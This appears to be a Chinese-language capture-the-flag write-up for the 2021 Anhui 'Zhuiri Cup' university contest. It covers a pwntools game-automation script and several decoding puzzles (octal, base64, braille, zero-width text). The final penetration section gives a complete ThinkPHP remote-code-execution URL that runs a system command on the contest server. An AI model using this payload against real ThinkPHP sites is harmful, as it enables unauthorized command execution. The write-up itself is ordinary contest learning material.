CTF | 6分钟
首届安徽省“追日杯”大学生网络安全挑战赛WriteUp
十二月 5, 2021
线上赛

第六,应该能混个三等奖

题量很大,打的人少,很多题都是0解,Reverse全0解,其他方向大都是个位数,综合渗透那里,题特别多,做了一个第一题就没做了,也挺难的,但是分还很低。怪怪的。

Web

gotofly

题目一直重定向,即使到了flag页面,立即刷新也看不见,BP直接抓包,一页一页翻就行了

Misc

chess

半自动化脚本

python
 1# -- coding=utf8 --
 2from pwn import *
 3io=remote("ctf.zrb.edisec.net",33741)
 4win_data=''
 5if __name__ == '__main__':
 6	n=0
 7	l=[[0]*3]*3
 8	while 1:
 9		if '499/500' in win_data :
10			p.interactive()
11		try:
12			io.sendlineafter('x/y:>','2/2')
13			ob=io.recvuntil('computer:>',timeout=0.2)
14			#ob=io.recvuntil('player:>',timeout=2)
15			#ob=io.recvuntil(str('player:>',timeout=2))
16			#ob=io.recvuntil(str('player:>',timeout=2)).strip()
17			ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
18			ob=ob.strip()
19			#ob=ob.split('/n')
20			ob=ob.split('\n')
21			#ob=ob.split('|')
22			ob1=ob[0].split('|')
23			ob2=ob[4].split('|')
24			if '#' in ob1[0] or '#' in ob2[2]:
25				io.send(b'1/2\n')
26				io.sendlineafter('x/y:>',b'3/2')
27			else:
28				io.send(b'2/1\n')
29				io.sendlineafter('x/y:>',b'2/3')
30			try:
31				ob=io.recvuntil('Can you win',timeout=0.2)
32				if not ob:
33					raise Exception("123")
34				win_data=io.recvuntil('*****').decode('utf-8')
35			except:
36				try:
37					io.send(b'1/1\n')
38					ob1=io.recvuntil('repeat',timeout=0.2)
39					if not ob1:
40						raise Exception("123")
41					io.send(b'1/3\n')
42					io.sned(b'3/1\n')
43				except:
44					try:
45						io.send(b'3/3\n')
46						ob=io.recvuntil('Can you win',timeout=0.2)
47						if not ob:
48							raise Exception("123")
49						win_data=io.recvuntil('*****').decode('utf-8')
50					except:
51						#io.interactive()
52						code=0
53						for i in range(1,4):
54							if code:
55								break
56							for j in range(1,4):
57								try:
58									io.send('%s/%s\n'%(i,j))
59									ob=io.recvuntil('Can you win',timeout=0.2)
60									if not ob:
61										raise Exception("123")
62									code=1
63									win_data=io.recvuntil('*****').decode('utf-8')
64									break
65								except:
66									pass
67					else:
68						print("第四层发送2/3,接收win正常")
69				else:
70					print("第三层接收repeat和发送正常")
71			print("第二层接收win正常")
72		except Exception as e:
73			if 'of range' not in e.args[0]:
74				io.interactive()
75		else:
76			print("成功")
77	io.interactive()

checkin

签到:flag{welcome_to_zrb@2021}

阵法的奥秘

提示是8进制,观察到最后的数字是变化的

1PING zrb.edisec.net: 56 data bytes
264 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
364 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
464 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
564 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
664 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
764 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
8...
9

先提取出来 与最小的76取余后转字符串 最后两层base64

python
 1import base64
 2a=[77,78,83,77,81,81,76,82,77,76,82,80,77,80,77,77,76,82,77,81,83,77,83,78,77,80,80,77,76,82,77,81,76,77,80,77,77,78,82,77,76,81,77,79,78,77,82,77,77,79,77,77,81,78,77,77,77,77,83,76,77,80,78,77,76,82,77,80,83,77,83,76,77,78,81,77,81,82,77,79,78,77,79,77,77,77,81,76,82,77,77,77,78,77,82,82,77,78,80,77,78,80,77,76,81,76,82,81,77,78,78,77,76,83,77,77,77,77,83,77,77,77,81,77,79,76,77,80,80,77,80,77,77,78,83,77,76,82,77,76,82,76,82,80,77,79,78,77,76,81,77,80,80,77,82,78,77,80,80,76,82,78,77,77,78,77,82,76,77,78,78,77,81,78,77,81,79,76,83,81]
 3d=''
 4for i in a:
 5    d=d+str(i%76)
 6e=''
 7for i in range(0,len(d),3):
 8    e=e+chr(int(d[i:i+3],8))
 9z=base64.b64decode(e)
10z=base64.b64decode(z)
11print(z)

偷走的flag

解压得到这是一个地址.txt纸条.rar

小明去食堂吃饭,为了能在吃饭的时候有座位,他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后,在QQ空间发现自己被挂了,说自己给学校丢人,用充电器占座,并把充电器放到了指定位置。小明找到以后发现了一串密文,只有解开密文,才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。

密文如下:

bash
1%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D

很明显的url编码,解密后得到⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝= 盲文编码,在线解密得到flag{As1de_From_implem

用这个作为压缩包密码解压

恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时,只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条,上面字迹已经被污染了,但隐约写着:********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。

vim中看到U+202C等字符,为0宽加密 解密得到3ntat1on

最后拼接在一起,注意别把0宽字符复制进去 flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}

问卷

一个调查问卷,做完即得flag

综合渗透

综合渗透-FLAG1

Thinkphp框架,还知道版本,直接RCE

http
1http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag